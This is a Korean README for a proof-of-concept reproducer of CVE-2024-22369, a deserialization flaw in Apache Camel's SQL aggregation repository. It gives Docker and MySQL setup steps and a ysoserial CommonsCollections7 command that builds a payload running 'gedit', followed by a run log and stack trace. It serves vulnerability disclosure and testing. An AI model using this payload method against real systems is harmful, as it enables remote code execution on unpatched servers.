oscerd/cve-2024-22369CVE-2024-22369 Reproducer
이 PoC는 화웨이 오픈소스 관리 센터의 Ziyang Chen이 구축한 재현자를 기반으로 합니다.
이 재현자는 약간의 조정과 정리, 그리고 추가적인 자동화를 통해 이 PoC를 생성하는 데 사용되었습니다.
MySql 인스턴스가 필요합니다.
docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql
이제 필요한 테이블을 생성해야 합니다:
두 개의 파일이 있습니다: employee.sql과 employee_completed.sql
다음 명령을 실행하세요:
docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p
비밀번호를 입력하고, USE db를 실행한 후 두 개의 SQL 파일을 실행하세요.
이 단계에서는 역직렬화를 재현하는 데 필요한 요소가 이미 준비되어 있습니다.
다음 명령을 실행하세요
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql
주소를 기록해 두세요.
이제 환경 상태에 따라 src/main/resources/application.properties를 편집하세요.
사용 중인 페이로드는 commons-collections 3.2.1을 기반으로 합니다.
다음이 필요합니다:
https://github.com/frohoff/ysoserial
명령줄에서 다음과 같이 페이로드를 재생성할 수 있습니다:
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p
이 명령은 페이로드의 16진수 버전을 반환합니다. 역직렬화 중에 gedit 명령을 실행하는 것이 핵심입니다.
가능한 페이로드를 실험해보고, INSERT 문을 변경하여 SQL 스크립트를 수정하고 새로 생성된 페이로드를 추가할 수 있습니다.
동작을 재현하려면 먼저 JDK 17을 선택하세요(로컬 또는 SDKMan을 통해).
그런 다음 다음 명령을 실행하세요:
mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run
다음과 같은 출력이 표시됩니다:
[INFO] --- spring-boot:3.2.0:run (default-cli) @ camelsql ---
[INFO] Attaching agents: []
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v3.2.0)
2024-01-10T11:50:05.523+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : Starting CamelsqlApplication using Java 17.0.8 with PID 28404 (/home/oscerd/workspace/apache-camel/security/camelsql/target/classes started by oscerd in /home/oscerd/workspace/apache-camel/security/camelsql)
2024-01-10T11:50:05.526+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : No active profile set, falling back to 1 default profile: "default"
2024-01-10T11:50:06.897+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.3.0 (camel-1) is starting
2024-01-10T11:50:06.903+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Starting...
2024-01-10T11:50:07.062+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.pool.HikariPool : HikariPool-1 - Added connection com.mysql.cj.jdbc.ConnectionImpl@418f890f
2024-01-10T11:50:07.064+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Start completed.
2024-01-10T11:50:07.093+01:00 INFO 28404 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 aggregate exchanges (not completed) in repository: employee
2024-01-10T11:50:07.094+01:00 WARN 28404 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 completed exchanges to be recovered in repository: employee_completed
2024-01-10T11:50:07.096+01:00 INFO 28404 --- [ main] o.a.c.p.aggregate.AggregateProcessor : Using RecoverableAggregationRepository by scheduling recover checker to run every 5000 millis.
2024-01-10T11:50:07.098+01:00 INFO 28404 --- [ main] c.s.b.CamelSpringBootApplicationListener : Starting CamelMainRunController to ensure the main thread keeps running
2024-01-10T11:50:07.099+01:00 INFO 28404 --- [inRunController] org.apache.camel.main.MainSupport : Apache Camel (Main) 4.3.0 is starting
2024-01-10T11:50:07.106+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Routes startup (started:1)
2024-01-10T11:50:07.107+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Started route1 (timer://select)
2024-01-10T11:50:07.107+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.3.0 (camel-1) started in 209ms (build:0ms init:0ms start:209ms)
2024-01-10T11:50:07.115+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : Started CamelsqlApplication in 1.839 seconds (process running for 2.453)
2024-01-10T11:50:08.176+01:00 ERROR 28404 --- [ timer://select] o.a.c.p.e.DefaultErrorHandler : Failed delivery for (MessageId: 41CB7CFEF0673B6-0000000000000000 on ExchangeId: 41CB7CFEF0673B6-0000000000000000). Exhausted after delivery attempt: 1 caught: java.lang.RuntimeException: Error getting key == 0 from repository employee
Message History (source location and message history is disabled)
---------------------------------------------------------------------------------------------------------------------------------------
Source ID Processor Elapsed (ms)
route1/route1 from[timer://select?repeatCount=1] 69
...
route1/aggregate1 aggregate[${header.aaa} == 0] 0
Stacktrace
---------------------------------------------------------------------------------------------------------------------------------------
java.lang.RuntimeException: Error getting key == 0 from repository employee
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:366) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.1.jar:6.1.1]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:335) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.executeReactiveWork(DefaultReactiveExecutor.java:189) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.tryExecuteReactiveWork(DefaultReactiveExecutor.java:166) ~[camel-base-engine-4.3.0.jar:4.3.0]